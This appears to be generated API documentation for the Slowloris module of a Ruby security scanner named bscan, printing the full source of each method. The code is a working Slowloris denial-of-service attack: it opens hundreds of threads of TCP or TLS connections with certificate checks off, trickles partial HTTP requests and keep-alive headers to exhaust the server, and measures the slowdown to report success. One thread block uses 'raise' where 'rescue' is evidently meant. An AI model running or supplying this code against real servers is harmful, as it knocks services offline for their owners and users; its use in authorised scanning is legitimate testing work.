Module: Slowloris

Defined in:
lib/bscan/modules/slowloris.rb

Instance Method Summary collapse

Instance Method Details

#close_allObject



154
155
156
157
158
159
160
161
162
163
164
# File 'lib/bscan/modules/slowloris.rb', line 154

def close_all
  @threadinfo.each_pair do |k,v|
    v.each_key do |i|
      begin
        v[i].close if v[i]
        update_info k,i,nil
      rescue
      end  
    end  
  end
end

#get_normal_response_time(host, port, req, proto, t) ⇒ Object



221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
# File 'lib/bscan/modules/slowloris.rb', line 221

def get_normal_response_time host,port,req,proto,t
  @threadinfo[t] ||= {}
  rsp = ''
  start = Time.now
#    @bscan.activity[0]=true
  req = random_url req
  begin
    send_slow host,port,req,proto,t,0
    s = @threadinfo[t][0]
    if !s 
      raise "read failed for: #{req}"
    end
    rsp = read_response s
  rescue Exception => e
      Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
  end  
  begin
    s.close
  rescue
  end  
  update_info t,0,nil
  [rsp,Time.now - start]
end

#make_conns(nbr, host, port, req, proto, t, readto = 0) ⇒ Object



166
167
168
169
170
171
172
# File 'lib/bscan/modules/slowloris.rb', line 166

def make_conns nbr,host,port,req,proto,t,readto=0
  Log 2, "#{@mid}make_conns: #{t}  #{nbr}"
  nbr.times do |con| 
    Log 2, "#{@mid}make_conns connection: #{t}  #{con}"
    send_slow host,port,req,proto,t,con,true,readto
  end 
end

#random_url(req) ⇒ Object



217
218
219
# File 'lib/bscan/modules/slowloris.rb', line 217

def random_url req
  req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}"
end

#read_response(s, to = 0) ⇒ Object



245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
# File 'lib/bscan/modules/slowloris.rb', line 245

def read_response s,to=0
    rsp=''
    begin
      while (ch=s.sysread(1))
        rsp += ch
        return rsp if msg_end rsp
        if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
          len = $1.to_i
          while (c=s.sysread(1))
            rsp += c
            if msg_end rsp
              break if len <= 0
              if (to <= 0)
                rsp += s.sysread(len)
              else
                Log 2, "#{@mid}read_response len #{len} #{to} #{Float(to)/len}"
                len.times do |n|
                  rsp += s.sysread(1)
                  sleep Float(to)/len
                end                
              end
              break
            end  
          end
          break  
        end
      end
  rescue Exception => e
    Log 1, "#{@mid}read_response Exception #{e.message}\n#{rsp}"
    Log 1, e.backtrace.join("\n")
  end
    rsp
end

#run(*args) ⇒ Object



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
# File 'lib/bscan/modules/slowloris.rb', line 10

def run *args

  @prop_pref = 'bscan.slowloris.'
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
  @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.' 
  begin
    
    dlw =   get_par 'delay_on_write',true
    proto = get_par 'protocol', 'http'
    threads = get_par 'threads', dlw ? 500:20
    rtf =   get_par 'response_time_factor',5
    slt =   get_par 'sleep_time', dlw ? 5:100
    cn =    get_par 'con_per_thread', dlw ? 1:50
    ppc =   get_par 'pack_per_con', dlw ? 50:5
    hli =   get_par 'health_check_int', 2
    http_method = get_par 'method', 'POST'
    req = @bscan_config[prop('request')]

    nreq = nil
    if req
      file = open_in_path(req)
      r = file.read
      req.gsub!(/\^M\n/,"\r\n")
      file.close
      nreq = req
    else
      host = get_par 'hostport',''
      host,port = host.split(':') if host
      raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
      req = "#{http_method} /@@@ HTTP/1.1\r\n" +
              "Host: #{host}:#{port}\r\n" +
              "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1"
      if http_method == 'POST'
        req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n"
        nreq = req + "\r\nfoo=moo"
      else 
        nreq = req + "\r\n\r\n"
      end
    end
 

    Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port} #{proto} #{dlw}\n#{req}"
#      rsp,nrt = get_normal_response_time nreq,proto
    @threadinfo = {}
    trg,host,port = get_url_host_port req,proto
     
    @infom ||= Mutex.new
    
    rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
    Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
 
    threads.times do |t|

        @infom.lock
        @threadinfo[t] = {}
        @infom.unlock
        
        for con in 0..cn-1
          @infom.lock
          @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
          @infom.unlock
        end

        Thread.new do
          begin
            Log 2, "#{@mid}run thread: #{t} #{cn}"
            if (!dlw)
              make_conns cn,host,port,req,proto,t
              for pcnt in 0..ppc-1 
                    Log 2, "#{@mid}run after sleep: #{t} #{cn}"
                    for con in 0..cn-1
                      send_more host,port,proto,t,con
                    end
                    sleep slt
              end
            else
              for pcnt in 0..ppc-1 
                Log 2, "#{@mid}run sending pack #{pcnt}: #{t} #{cn}"
                for con in 0..cn-1
                  send_slow host,port,nreq,proto,t,con,true,slt
                end
              end
            end
          raise Exception => e
             Log 1, "#{@mid}run Exception: #{e.message}"
             Log 1, e.backtrace.join("\n")
             Thread.current.exit
          end
        end
    end

     # Monitoring thread
    mont = Thread.new do
        maxtime=0
        while (true)
          begin 
            sleep hli 
            rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
            Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
            maxtime = rt if rt > nrt*rtf && rt > maxtime     
            ex = true
            tnum = 0
            cnum = 0
            @threadinfo.each_pair do  |t,c|
              inc_t = false
              c.each_key do |k|
                if c[k]
                  cnum += 1 
                  inc_t = true
                  ex = false
                end
              end
              tnum += 1 if inc_t
            end
            Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{hli} sec"
            break if ex
          rescue Exception => e
             Log 1, "#{@mid}run Exception: #{e.message}"
             Log 1, e.backtrace.join("\n")
          end
        end
        Log 2, "#{@mid}run exiting monitor: #{maxtime}"
        if maxtime > 0
          issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", dlw ? nreq:req, rsp, 
          "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
          write_issue_state issue
        end  
        close_all
    end
 
    mont.join()
 
    
  
  rescue Exception => e
    Log 0, "#{@mid}run Exception: #{e.message}"
    Log 0, e.backtrace.join("\n")
  end
end

#send_more(host, port, proto, t, con) ⇒ Object



174
175
176
# File 'lib/bscan/modules/slowloris.rb', line 174

def send_more host,port,proto,t,con
  send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
end

#send_slow(host, port, req, proto, t, con, reopen = true, readto = 0) ⇒ Object



178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
# File 'lib/bscan/modules/slowloris.rb', line 178

def send_slow host,port,req,proto,t,con,reopen=true,readto=0
#   @bscan.activity[0]=true
 begin
    s = @threadinfo[t][con]
    rndr = random_url(req)

    if !s || s.closed? || s.syswrite(rndr) != rndr.length
      s.close if s && !s.closed?
      raise "can't send more, connection closed  #{host} #{port} #{t} #{con} #{readto}" if not reopen
        
      s = TCPSocket.new(host, port)
      Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con} #{readto}"
#        Log 2, "#{@mid}send_slow socket# #{`netstat -n | wc -l`.chomp}"
      if (proto =~ /https/i)
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE 
        s = OpenSSL::SSL::SSLSocket.new(s, ctx)
        s.connect
      end
      update_info t,con,s
    end
    s.syswrite(rndr)
    Log 2, "#{@mid}send_slow succeeded for  #{t} #{con} #{rndr}"
    Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
    if readto > 0
      rsp = read_response s,readto
      Log 2, "#{@mid}send_slow rsp #{t} #{con}\n#{rsp}"
    end
  rescue Exception => e
    Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message} #{e.to_s}"
    Log 1, e.backtrace.join("\n")
    begin
      s.close
    rescue
    end  
    update_info t,con,nil
  end
end

#update_info(t, con, val) ⇒ Object



149
150
151
152
153
# File 'lib/bscan/modules/slowloris.rb', line 149

def update_info t,con,val
  @infom.lock
  @threadinfo[t][con] = val if @threadinfo[t]
  @infom.unlock
end